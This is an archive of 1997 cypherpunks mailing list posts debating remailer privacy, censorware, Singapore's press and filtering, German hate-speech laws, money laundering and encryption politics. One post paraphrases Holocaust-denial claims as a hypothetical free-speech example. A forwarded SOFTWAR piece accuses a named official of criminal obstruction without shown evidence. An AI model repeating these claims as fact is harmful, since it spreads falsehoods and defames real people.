cash currency to its citizens based on a debt placed upon future generations 
of citizens).

A money's value is measured by the quality of debt backing it.  If the debt 
is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
loses value, which in turn can have negative systemic repercussions 
throughout the world's financial markets.  The recent Asian currency 
devaluations (South Korea in particular) and the accompanying financial woes 
are a good example of what happens when the debt quality of money devalues.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 7 Dec 1997 23:29:01 +0800
To: remailer-politics@server1.efga.org
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <8a79c36c23626791ed29d293cab5cfa8@anonymous.poster>
Message-ID: <199712071513.QAA19077@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> X-No-Archive: yes

> You're still posting lies.  You say I'm anti-remailer and anti-anonymous yet
> YOU are the one with the apparent agenda.  YOU are the one who continues the
> lies. YOU are the one who hasn't posted proof of your alligations.  YOU are
> the one who's actions give remailers a bad name.
> 
> Post your demands and your motives.  What's in it for you?

I've done it several times, but you seem to be stuck in transmit-only mode.
My "demand" is that you explain YOUR motives for your written demands to Jeff
Burchell that he violate the privacy of ALL of the users of his remailer by
turning over his logs to you and Belinda Bryan <eridani@ix.netcom.com>, listing 
the name and address of EVERYONE who either SENT or RECEIVED anonymous e-mail 
from the Huge Cajones Remailer.  If you don't like hearing that, then you'd 
better stop asking the same question over and over.

It quite obviously took you by surprise that Jeff chose to reveal to all of
his users just what you and Belinda had attempted.  Did you not want remailer 
users to know what you'd tried to do?  Contrary to your accusations, not all of 
Jeff's post was "speculation".  The attempt by staff members of DataBasix to
circumvent the security of the Huge Cajones remailer and violate the privacy of 
its users was a very FACTUAL statement which you have neither denied nor 
explained.  No one has to take my word for it.  Anyone who cares to can read if 
for himself:

  http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited@toad.com/HTML-1997-11/msg00536.html

[Although Gary Burnore has chosen to have his side of that thread removed from
 the archives (for reasons known only to him), Jeff's comments can still be
 found using DejaNews and searching their "old" archives]:

  http://search.dejanews.com/dnquery.xp?QRY=%7Ea+toxic@wired.com&svcclass=dnold&defaultOp=AND&maxhits=20&ST=QS&format=terse&site=dn

My demands?  To keep the remailers open and usable.  Of the two of us, I'm the
only one who is actually using them (or at least admitting to it).  You're the
one with the least to lose if more get shut down due to harassment of the type
you, Belinda, and William J. McClatchie subjected Jeff Burchell to.  OTOH, if 
they get shut down, I'd lose my ability to post anonymously and challenge the 
assertions and false accusations of people like you.  Your pitiful attempt at 
logic makes no sense.

You've been invited, on several occasions, to start your own remailer if you
REALLY think they're valuable, and you claim to have so much insight into how 
they "ought to be" run.  You still have not done so.

As for "giving remailers a bad name", perhaps most users would rather they be
usable, full-featured, reliable, secure, and uncensored than that they have a
"good name" with censorious people like you, DataBasix, Janet Reno, and the 
Church of Scientology.  When have dissidents ever desired a "good name"?  When 
has being popular ever been more valuable than being free?

---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 8 Dec 1997 09:00:47 +0800
To: Andrew Shapiro <ashapiro@interport.net>
Subject: Re: NYTimes oped: Federal laws better than censorware
In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
Message-ID: <199712080048.QAA16328@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




I still don't understand why it is "censorship" when any
company can come up with any software that rates sites
according to any scheme, and anyone can choose to use
any package, or ignore the software altogether. there is total freedom 
in all of this.

Declan, why is it that you are now editorializing against an
editorial that asks for government standards & laws instead of
free market ones? are you starting to finally figure out that
private enterprise filtering systems, while having huge 
aspects that are not all that pleasant, are superior to the
alternative? (btw, I don't like the claims of the editorial
either, but that has always been my position on this issue--
that private enterprise 
systems are superior to government censorship)

I agree that PICS was introduced in part to try to come up
with a solution to the problem of offensive content that
could be presented as an alternative to any government 
involvement. people on the net want to solve their own problems
on the net, without laws, in general.

everyone who continues to rant against filtering companies
strike me as people who are screaming sour grapes. "we don't
like the choices these companies have made!!" but just start
your own!! the market is deciding what filtering company
is doing the best job, mostly regardless of your ranting.
and surprise!! guess what!! the market may not actually
decide that it even cares whether filtering products are
up front about informing what sites they filter.

what, it takes a lot of work to filter sites? well, you're
damn right-- doing anything of value requires a lot of work,
and the filtering companies are working hard to improve their
technology, no thanks to the screechings of a lot of people
who feel that they have some better way of judging filtering
software than the parents who use it.

the net will continue to support schemes that help separate,
segregate, and rate content, and those who reject such ideas as
"censorship" are going to be seen as increasingly out-of-touch
and clueless about how the technology works.

does anyone claim it is censorship because a service interested
in rating "cool sites" does not rate many sites it thinks are not
cool? why then is there so much controversy when a *service*
designed to rate *sites acceptable to children* does not include
certain sites? can anyone tell me the difference? answer: many
people wish to be the judge of what children can and cannot see.
but ultimately,  does anyone other than a parent have the
authority to do this? in a free society, which I think we
still live in, that is?

if you think you are a better judge of what children should
see, create your own service that includes whatever you think
is being excluded. the market may support you. or, the market
may thumb its nose at you.

(however, postscript to all of the above,
I do agree that any government laws making filtering
software in some way mandatory is bogus and abhorrent.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@brokat.com.sg>
Date: Sun, 7 Dec 1997 17:27:46 +0800
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Singapore
In-Reply-To: <01bd026d$85c8c4a0$06060606@russell>
Message-ID: <199712070907.RAA05005@brokat.com.sg>
MIME-Version: 1.0
Content-Type: text



Hi.  I am appalled at the level of informed intelligence displayed on this
list by Phillip M. Hallam-Baker.

> >  Hallam-Baker obviously thinks that he can thwart my insightful,
> >barbed diatribes against him by posting empty messages to the
> >CypherPunks list, 
> 
> No, I was merely speechless.
> 
> If you think that Singapore is a Libertarian paradise then
> you are not a Libertarian. I don't doubt that Duncan is
> capable of being an appologist for the Signapore regime
> just as there were a lot of 'Communists' who used to fawn
> over Stalin.
> 
> The fact is that Singapore taps every telephone call, monitors
> every public place and performs traffic analysis to identify
> dissident communities. The fear of being identified in such 
> a community is a major means of suppressing dissent.

I would indeed like to know what you take on a regular basis to conclude 
the above.  Tapping phones?  Monitoring public places?  Analysing traffic?
Whichever parallel universe that you are dwelling in in definitely not one 
I would like to be in.  Your utterly misinformed and totally ludicrous 
statements above can only make me conclude that you are not serious in 
making it, except to respond to all the be-numbed responses by previous 
posters.

I am a Singaporean and have lived most of my life in Singapore.  I am no
lapdog of the government (thank you) nor do I agree with everything the 
government does.  If it is of any interest to you, you can go to my home 
page for information on dirt that I have posted about the SG govt.  You 
can also go to many other sites all over (both within Singapore and outside) 
that discuss a wide array of issues, (www.sintercom.org) for example.

I did come across some ill-informed post (not by Phillip though :-)) that 
said that there are national filters to Internet access here.  Well, indeed,
the top level ISPs here have choosen to use filtering proxy servers to filter 
out an alleged list of 100 porno sites (you can see that there is an on going 
URL hunt to discover these filtered sites on 
www.sintercom.org/hunt/rahunt.html.  You should also visit www.isoc.org.sg 
for additional discussion on this).  Having said all that, this filter list 
is 100% by-passable using sites such as www.anonymizer.com.  

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@brokat.com.sg>
Date: Sun, 7 Dec 1997 17:36:34 +0800
To: pethern@inet.uni2.dk (Peter Herngaard)
Subject: Re: Singapore
In-Reply-To: <Pine.3.89.9712060147.A24259-0100000@inet.uni2.dk>
Message-ID: <199712070918.RAA05254@brokat.com.sg>
MIME-Version: 1.0
Content-Type: text



Peter Herngaard shaped the electrons to read ...

<deleted>
> If the German people desired  to abolish the Radikalenerlass they could  
> do so simply by changing their goverment precisely as U.S. citizens could 
> abolish use of capital punishment against minors.
> Is there any difference?
> Finally, it's unfair to lump Germany, whose privacy laws are better than 
> the Danish, in with a dictatorial police state like Singapore.

"Dictatorial police state"?  I take it that you are well informed.  Statements
such as yours do not warrant a response as you are so totally wrong that no
amount of rational discussion can change your viewpoint - or can it?

> In Germany you can in fact criticize the goverment without risk of 
> prosecution for seditious libel, that you cannot in Singapore.

You *can* critise the SG govt.  The idiots who claim to be the SG govt are
however very sensitive (i.e. have very thin skins) to anyone who makes false
criticisms.  That is the way they have choosen to play the game.  The SG
govt would not allow say the National Enquirer to publish stuff that attack
the govt especially if none of it is backed up with facts.  We are on a fine
line here.  In the US, the general principle is that once you are in the
public domain, you are fair game.  Anything can be thrown at you.  Here,
however, that is not the accepted rule-of-thumb.  Yes, the person may be in
public domain (holding public office), but these politicians will want to make
sure that what ever is out there about them or their policies are truths 
(partial or full as the purpose may be), but once they sense utter untruths,
they run behind the courts and sue people.  

What I have said so far is in the ideal case.  Lately, Singapore govt has 
become more and more tolerant to criticisms and are now willing to discuss
the reasons behind the criticisms to see if there are misconceptions that 
can be addressed.

> I also suppose that the standard for privacy protection is lower in 
> Singapore than in Germany.

Our privacy laws are a joke.  I do know that there are moves by the same
govt to put into place good solid privacy laws in the next year.

> Germany does not practice a blocking regime on the InterNet 
> similar to  that Singapore does, since that would be in contrary to the 
> constitutional ban on censorship.

Which has been circumvented by using alternate proxies or www.anonymizer.com.
Check www.sintercom.org/hunt/rahunt.html for more info.

> Yours sincerly

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 8 Dec 1997 09:37:07 +0800
To: Lizard <hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Singapore
In-Reply-To: <199712070907.RAA05005@brokat.com.sg>
Message-ID: <v0310280ab0b0e80d9a18@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:40 PM -0700 12/7/97, Lizard wrote:

>At 05:07 PM 12/7/97 +0800, Harish Pillay wrote:
>... Well,
>indeed,
>>the top level ISPs here have choosen to use filtering proxy servers
>to filter
>                              ^^^^^^^^
>>out an alleged list of 100 porno sites (you can see that there is an
>on going
>>URL hunt to discover these filtered sites on
>>www.sintercom.org/hunt/rahunt.html.
>
>And if any of those ISP's "chose" not to engage in such filtering,
>how long would they be permitted to stay in business?

That would be doubleplus ungood. It is the duty of all to enforce mandatory
voluntary controls on thoughtcrime.

And anyone who chooses not to comply with mandatory voluntary controls is
clearly mentally unbalanced, and will be treated with compassion in a
Ministry of Harmony recovery center.

***

Seriously, I haven't been to Singapore, and don't plan to visit anytime
soon. But I really can't say whether the thought control regimen is
extremely bad, or just somewhat bad. What I do know is that I am deeply
suspicious of claims that controls are "willingly accepted" by the
majority, as some defenders of Singapore have claimed. Where rights get
interesting is on the margins, not back in the herd where the sheeple live.

Ditto for Germany, where defenders of German censorship claim it is the
will of most of the people that they be locked up should they question
details of the Holocaust, or deny that it occurred, or commit other
thoughtcrimes.

Oh, and the claim we just saw from Peter Herngaard, that:

"The distinction is very narrow since those who call for abolition of the
hate laws, at least in Germany, at the same time advocate expulsion of
non-whites or the establishment of a dictatorship."

is demonstrably false. There are civil rights groups in Germany calling for
the "abolition of the hate laws," and yet not arguing in favor of expulsion
of non-whites or for the imposition of a dictatorship.

The notion that "advocacy of abolishing hate laws" = "calling for expulsion
of non-whtes" is false. (Further, the notion that "calling for expulsion of
non-whites" is itself an actual crime against another person is also false.)

I could, for example, get on a plane tonight in San Francisco and be in
Berlin by Monday evening. I could begin passing out "The Holocaust Myth"
pamphlets, pointing out that the so-called "ovens" at the relocation camps
were actually never turned on, and that most of the so-called
exterminations of Jews never occurred.

All of this without once calling for expulsions of non-whites from Germany.
Or calling for the establishment of a government more dictatorial than the
current one.

So, would I be charged with a hate crime? Surely. And yet the other parts
of Peter's predicate are missing.

The way to prevent a repeat of Germany's unfortunate detour into national
socialism is to just not repeat it, to not let government gain the power to
build extermination camps, raid houses at night on flimsy pretexts,
mobilize industry, etc.

The same goes for the U.S., and other countries. This is partly why so many
of us speak out strongly against the U.S. Emergency Economic Powers
(National Security Decision Directives, FEMA and Office of Emergency
Preparedness orders, Presidential Findings, etc.) and the plans for
possible imposition of martial law (Operation Garden Plot, Operation
Vampire Killer, state militias, etc.).

The best way to dead off communism, national socialism, and dictatorship in
general is through free speech, private communications, lots of guns in the
hands of citizens, a decentralized government, states' rights, strong
cryptography, tax evasion tools, and so on.

Controlling free speech has virtually nothing to do with this avoidance of
national socialism. (For a variety of reasons, too numerous to get into
here. Read Hayek, von Mises, etc. on the virtues of open societies. And
remember that "hate crime" laws almost by definition don't apply to sitting
officials....Hitler would have loved to have laws in 1933 to stop citizens
from expressing certain thoughts, but had such hate laws been in effect
then, he surely would not have applied them to himself.)

There is also the very real psychological phenomenon of "forbidden fruit
tasting sweeter." Many suspect the current resurgence of Nazism and
skinhead ideologies (loosely speaking) in Germany has a lot to do with the
thoughts being banned.

Nazism would lose a lot of its mystique if ideas could be expressed freely
in Germany.

As for the U.S. influencing Germany to crack down on free speech and
freedom of religion, I don't deny this. But that was 45-50 years ago, and
it was under military rule of a conquered nation (and imposed by victorious
generals, who, given their druthers, would have probably outlawed any kind
of free speech at all, given the way the military mind often thinks). Time
for Germany to now have its own laws.

Germany's recent actions agasint the Church of Scientology are also disturbing.

(Some of my friends are active in the War Against Scientology. I am not. I
view Scientology as just another wacky belief system. Think of it as
evolution in action. I cannot condone state actions against religions, no
matter how strange, provided their beliefs do not impinge on my rights and
the rights of others. Thus, human sacrifice of non-volunteers would be
actionable, but not human sacrifice of true believers. Or drug use. Or
whatever.)

Enough for now.

I really do with



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alex Woolfson" <abdiel@worldnet.att.net>
Date: Mon, 8 Dec 1997 10:20:08 +0800
To: <cypherpunks@toad.com>
Subject: Thanks all!
Message-ID: <000c01bd037a$bf21d1c0$d9a0400c@default>
MIME-Version: 1.0
Content-Type: text/plain



I LOVE the cypherpunks.  :-)  Thanks all for your very useful and thorough
analysis of that documentation from the makers of Encypted Magic Folders.
It was great (particular thanks to Ray and Bill!).

As I like the concept behind it and would love to encourage these turkeys to
use strong crypto, I would like to forward some of the messages to the
company that makes the product.  If you would prefer I not do this (or would
like me to not include your name or email address), please let me know.  I'm
not going to do this for a week to give people time to get back to me.
Looks like Bill is already on their butts, already, anyway.   :-)  Maybe he
can smack some sense into 'em.  And maybe someone here could come up with a
cypherpunk equivalent?   (unless someone already has...)  Be cool if to have
this at Punk Strength.  Unfortunately, my own ability to code needs much
work...

Again, thanks.  You guys were a great help.

Alex





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@brokat.com.sg>
Date: Sun, 7 Dec 1997 17:53:30 +0800
To: nobody@replay.com
Subject: Re: Singapore & Freedom
In-Reply-To: <199712052343.AAA20937@basement.replay.com>
Message-ID: <199712070945.RAA05974@brokat.com.sg>
MIME-Version: 1.0
Content-Type: text



Anonymous shaped the electrons to read ...
> 
> >On Thu, 4 Dec 1997, J. Lasser wrote:
> 
> >And Singapore survives quite well being a totalitarian
> >capitalist society. Sure, you can pick nits and claim that
> >Singapore's not entirely capitalist, but it's more capitalist
> >than this country and certainly less free, too.
> 
>  > http://cgi.pathfinder.com/netly/editorial/0,1012,266,00.html
> 
> >In some ways, Singaporeans are more free than U.S. citizens.
> >Income taxes and sales taxes are lower. Prostitution is legal.
> >The government does not impose rules on whom private landlords
> >can and can't rent to. Unlike some cities in the states,
> >Singapore has no curfews. Being able to walk outside safely at
> >night in any area of the city, even the poor excuse for the
> >city's red light district, has its attractions.
> 
> > -Declan
> 
> I lived and worked in Singapore for 8 years.  

Excellent opener.  I was born in Singapore and have lived here most of my 
life.

> Singapore is not what I call a free society.  Their system has many 
> advantages, you are pretty much free to make money providing you are doing 
> so in an area where the government has no interest.  The Singapore
> government runs many enterprises and if you happen to be their competition 
> they will tear you apart to get rid of the competition.  The Singaporean 
> government tends to cater to the multinational corporations, who were their 
> earlier ticket to economic prosperity, and don't do a lot to encourage local 
> grown business other than to provide a suitable environment for business, 
> which is good enough on its own.

Truth alert:  Yes, the govt is heavily involved in the economy - for example
Singapore Technologies (aerospace, silicon foundries, armaments), Sembawang 
Corp (shipbuilding, realestate, heavy engineering).  The truth behind these
companies is that about 15-30% of them are owned by the govt of Singapore's
investment arm, Temasek Holdings.  The rest are held by other companies (both
local and foreign) as well as the general public - i.e., these are listed on
the stock exchange.  

Indeed the govt does get into industries that it feels are critical for 
Singapore's survival.  This is the classic Singapore Inc operating.  For
example, late in the last decade, there was no private company doing wafer
fabicration.  The Singapore Technologies company, Chartered Semiconductor
started the first fab plant.  No other private company wanted to do it alone
but after that plant came up and became profitable (years later), there are
now numerous fabs either in operation or under construction by international
companies.  So, yes, the govt does at times choke the entrepreneurship drive
of the local population, but there are industries where the coexistence of
private initiative and govt-linked companies have been possible and viable.
 
> Singapore is a great place to do business, yours costs are
> predictable, something you can not say about the surrounding
> countries where corruption makes costs unpredictable.  Singapore
> labor is reasonably priced, well-educated, reasonably trained,
> and well-disciplined - or at least they don't talk back or
> complain unless you try something really stupid.  Singapore
> management is expensive, well-educated, but not quite as
> versatile as westerners.
> 
> Singapore is a social experiment, a group (read PAP) has gained
> control and decided to mold the society into something different
> than it was.  This is probably a good thing as in the 50s
> Singapore was a cesspool, in many ways.  The story goes that you
> could smell Singapore 200 miles out, in an airplane.  Everything
> that Singapore is today is what it was not in the 50s.
> 
> The educational system has been engineered to produce the maximum
> number of worker units.  Being a small country with limited
> resources (with labor being the main exportable resource) they
> could not afford to have an educational system which allowed some
> potential worker units to drop-out.  Compare this against the
> American system where you are free to succeed, or free to fail,
> the choice is basically given to the citizen.  In Singapore this
> is not how it works, the blinders are installed early, you are
> not permitted to fail to become a good productive member of the
> society.  In Singapore you are free, as long as you are a good
> productive member of the society.  Try talking back and
> complaining about the system and see where that gets you?  I
> think they call it Woodbridge.

Perhaps you need to go to Woodbridge (for the uninformed, Woodbridge
is where the local mental institution is located).  

Let's analyze the premise of an educational system.  I am a product of
this system and tempered with a dose of undergrad/grad school experience
in the US.  Any educational system thrives to create as its output, 
valuable citizens who can be self-supporting and useful (label it anyway
you want - worker units as you say is fine).  It has been a fine balance
between a fully liberal system and one that generates worker units for
the most part of the last 30-35 years.  The system erred to the latter.
The thinking today (you see I continue to choose to live here) is that
that model is flawed and needs to be tampered with.  It will take 5-10
years before an increasingly liberal system is in place - an increasing
thinking population that is part of the global information flow that will
characterize the next centuries economies.

> This social engineering may be a good thing.  Look at the
> benefits obtained by Singapore.  In the current economic meltdown
> in SE Asia Singapore is only threatened with lower growth.  The
> people are happy and they love their country and government, to
> the average Singaporean the government can do no wrong.  Most
> Western governments would love to be in the same position.

Not true the 2nd last statement.  The population is perhaps more tolerant
to failures or perhaps not informed about such because of the joke of a
press we have.

> There are costs associated with an engineered society of this
> type.  Elder Statesman Lee, he went by Harry Lee before he
> learned Mandarin, is always ranting about all the good genetics
> being wasted as there is a large number of educated women who
> have not married and therefore are not able to reproduce.  Harry
> has been ranting about this for more than 10 years.  In a
> nutshell certain segments of the population have lost their
> ability to mate.  The Singapore government has initiated a
> program to help educated Singaporeans find mates.  Great system,
> economic prosperity, but what am I supposed to do with this
> thing...
> 
> Don't forget the other good points, no guns or bullets, color
> copiers are (were?) restricted, all media controlled by the
> government (even Time magazine was banned), mandatory savings
> program (CPF), National Service, and the government attitude of
> those that are not with us are against us.  Also, don't forget
> that the Singaporean government has brought the Big Brother
> concept to reality.

As a private citizen, I cannot own a gun without a license.  *I* have
no problems with that.  Colour (we spell it with a u) copiers are
not restricted by any means.  Yes, media is controlled by the govt -
except for the 24 hour BBC world service radio broadcast on FM here.
Banning of magazines and newspapers are there - but you can continue
to get it over the net unfettered and uncensored.

Any problems with the "mandatory" savings?  I don't.  The money is
mine - I can use it almost immediately to buy stocks, pay for my home
etc etc.  I don't see no problem.  National service - I did my time
but perhaps the initial duration can be reduced from 2.5 years at
age 18 but it has helped to create a population that better prepared
mentally and physically to be able to defend the country if the need
arises. 

Pray tell me how the SG govt has brought BB into reality?  I love such
generalizations especially from a person who claims to have lived here
for 8 years.   I lived in the Pacific Northwest for about 7 years and
I will not make such statements.

> SingMonger

Interesting that you hide behind an anomymous name and you claim to
be outside Singapore.  I for one, will stand by my name and say that
things I should say about this country of mine (warts and all) and
not have to hide behind anonymity (not that I would not use anonymity
ever :-)).

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 8 Dec 1997 10:11:27 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Red-necks w/ a purpose...
In-Reply-To: <199712071403.IAA30226@einstein.ssz.com>
Message-ID: <v0310280bb0b0f8937bd1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:03 AM -0700 12/7/97, Jim Choate wrote:

>What has this to do with a couple of rednecks stopping an alleged criminal
>out of the goodness of their hearts? Further, what exactly are you talking
>about in reference to Gates? Yes, he is rich but what specificaly are you
>referning to in regards to his mentality and lynch-mob democracies?

The "Gates" referred to in this thread is NOT Bill Gates.

As in:

"Larry Gates, a 54-year-old ex-Marine, operates a convenience store in
rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas
Eve..."


>If there were no police force I am sure Gates with all his money would be
>on the top of a lot of hit lists - just too juicy a target to pass up. The
>police we have now are deputized citizens. *That* happens to be one of the
>safety checks.
>
>What is your point?

See above.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 8 Dec 1997 10:33:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <199712072343.PAA22192@sirius.infonex.com>
Message-ID: <3.0.3.32.19971207182750.0068c8f4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>Almost every mainstream news article and regulatory report repeats 
>>the littany that Money Laundering, that is the movement of money to disguise 
>>it origin (even if there are no predicate offenses) must remain illegal 
>>because it damages or is a threat to the world banking and financial system 
>>(not just the tax take of governments), but I have yet to see any 
>>explanation of how and why.  Anyone care to comment?

Because the major news services are Politically Correct,
not in the anti-humorless-leftist sense but in the sense of
generally supporting what the Political Class wants them to,
and generally believing what they're told to believe,
and they'll often go for the easy story rather than thinking up their own,
especially because it leaves them well-connected for doing future
stories on the Political Class and whatever the Political Class wants.
And the Political Class very badly wants to control Money Laundering
1) They want to control your money.
2) They want to control you.
3) They want you to help them control their opponents, and
	laundered money helps their opponents keep operating
4) Money Laundering lets Politically Incorrect Vegetable dealers
	hide their activities and avoid getting caught,
	and the Political Class gets a lot of power from the
	War On Vegetables.
5) Money Laundering helps people evade and avoid taxes.  Clear enough?
6) The State needs Enemies to justify its power.  This'll do.
7) Following The Money helps them know who's doing what.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 8 Dec 1997 10:45:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Singapore
In-Reply-To: <3.0.3.32.19971207114051.034b4498@dnai.com>
Message-ID: <3.0.3.32.19971207183713.0068cc44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:30 PM 12/07/1997 -0700, Tim May wrote:
>Oh, and the claim we just saw from Peter Herngaard, that:
> > "The distinction is very narrow since those who call for abolition of the
> > hate laws, at least in Germany, at the same time advocate expulsion of
> > non-whites or the establishment of a dictatorship."
>is demonstrably false. There are civil rights groups in Germany calling for
>the "abolition of the hate laws," and yet not arguing in favor of expulsion
>of non-whites or for the imposition of a dictatorship.

I think Peter's point was that most of the Germans who are calling for
the abolition of the hate laws _are_ the hate groups, rather than
civil liberties groups.  Sure, there are a few Germans who think that
free speech and assembly should mean free speech and assembly,
and aren't part of hate groups, but the government isn't out persecuting them
so they've got less incentive to make noise about it.
Also, the folks with pure motives are arguing a pure issue,
while the hatemongers get to combine their calls for the abolition of
hate laws with calls for the expulsion of non-Aryans, use it for recruiting,
and use it as a defense of their position.

>The way to prevent a repeat of Germany's unfortunate detour into national
>socialism is to just not repeat it, to not let government gain the power to
>build extermination camps, raid houses at night on flimsy pretexts,
>mobilize industry, etc.

But Herr Non-Citizen-Unit May, ve're doink this for your own good.
...
>There is also the very real psychological phenomenon of "forbidden fruit
>tasting sweeter." Many suspect the current resurgence of Nazism and
>skinhead ideologies (loosely speaking) in Germany has a lot to do with the
>thoughts being banned.

Certainly had a lot to do with kids becoming lefties in the 60s.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 8 Dec 1997 11:45:02 +0800
To: cypherpunks@Algebra.COM
Subject: reno, encryption, rsa, etc. (softwar)
Message-ID: <199712080330.TAA17383@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Thu, 04 Dec 1997 16:05:55 -0800
From: "J. Orlin Grabbe" <kalliste@aci.net>
To: snetnews@world.std.com
Subject: SNET: [Fwd: FREEH SPEECH]


- ->  SearchNet's   SNETNEWS   Mailing List

From: softwar@us.net (SOFTWAR)
Subject: FREEH SPEECH
Date: Thu, 04 Dec 1997 17:09:51 GMT

General Reno has declined to appoint an Independent Counsel to
investigate campaign abuses by the Clinton White House.  Several
Congressional leaders have sputtered they are concerned about
Ms. Reno's conflict of interest in the matter.  Of course, the
Republican specifics of her "conflict" never go past the fact
that she was appointed by Clinton.  However, the connections
between Ms. Reno and the Clinton scandals are well known to at
least one person inside the Beltway.

One example of Reno's conflict is the Clinton China Crypto Scam.
It was Reno's Justice Anti-Trust Division that authorized the
merger of a major company backed by a big donor to the DNC.  The
companies, RSA and Security Dynamics, sought the merger in 1996
just after RSA Chairman James Bidzos signed a memo of
understanding to perform "encryption research" with China.  The
donor, Sanford Robertson, paid $100,000 to the DNC just prior to
the merger.  Furthermore, Mr. Robertson was on the list of those
called by Al Gore from the White House and the MONEY arrived
just after Gore's call.  In fact, $20,000 of Robertson's
donation was split into a HARD money account by the DNC.  Of
course, Mr. Robertson's investment firm made a cool two million
dollars on the merger deal, spurred in part by the lucrative
RSA contract with the PRC.

Yet, Ms. Reno was also directed officially by President Clinton
to oversee the "encryption problem" and enforce policy.  For
example, according to recently declassified documents from the
Clinton National Security Council, Ms. Reno was tasked by
President Clinton in 1993 to oversee the Clipper project.  Ms.
Reno was directed by Clinton to purchase 9,000 Clipper phones
for the FBI.  In addition, Clinton directed Ms. Reno to prepare
Clipper for export.  Finally, Reno was tasked to convince the US
communications and computer industry to voluntarily implement
the Clipper "key escrow" back door into all US made products.
Simply put, Ms. Reno was, and is still, in charge of bugging
America's telephones.

Yet, how far can Ms. Reno go?  According to the Presidential
Directive, "Should (US) industry fail to fully assist the
government in meeting its requirements within a reasonable
period of time, the Attorney General will recommend legislation
which would compel manufacturers to meet government
requirements."

Thus, if we do not voluntarily give up our rights to privacy,
Ms. Reno is tasked by President Clinton with drawing up the laws
for "mandatory" government phone bugs.  Yet, there is
overwhelming evidence that Ms. Reno quietly turned her head as a
major DNC backer managed a deal involving the Communist Chinese
and advanced encryption technology.

Other than approving the lucrative RSA merger/export, Ms Reno
and the Justice Department are also major players in export
policy.  They are part of an Inter-Agency Working group
specifically tasked to cover crypto and exports.  As proof,
Reno's Justice Department has written most of the Clinton
encryption policy papers.  In fact, some of the secret documents
written by Reno's Justice Department on crypto policy were
compromised by former DNC fund-raiser Ira Sockowitz.  Sockowitz
walked out of the Commerce Department with over 2,000 pages of
secrets in 1996.  Ironically, included in the Sockowitz papers
are secret documents covering the 1996 RSA/China deal.

Curiously, Ms. Reno has chosen NOT to look into the matter.

The connections between Ms. Reno and the Clinton scandals are
also well known to at least one person inside the Beltway.  FBI
Director Louie Freeh knows.  He is aware of that advanced
technology was being shipped to China while draconian laws
banning the same technology were considered here.  Director
Freeh also knows that his boss, Ms. Reno, is deeply involved in
criminal obstruction involving high tech exports, DNC donors,
and her own Justice Department.  He knows she is covering for
crimes that she and her Department were charged to prevent.

The question now is...  Does Freeh have the guts to tell
America?

1 if by land, 2 if by sea.  Paul Revere - encryption 1775

Charles R. Smith
SOFTWAR
http://www.us.net/softwar

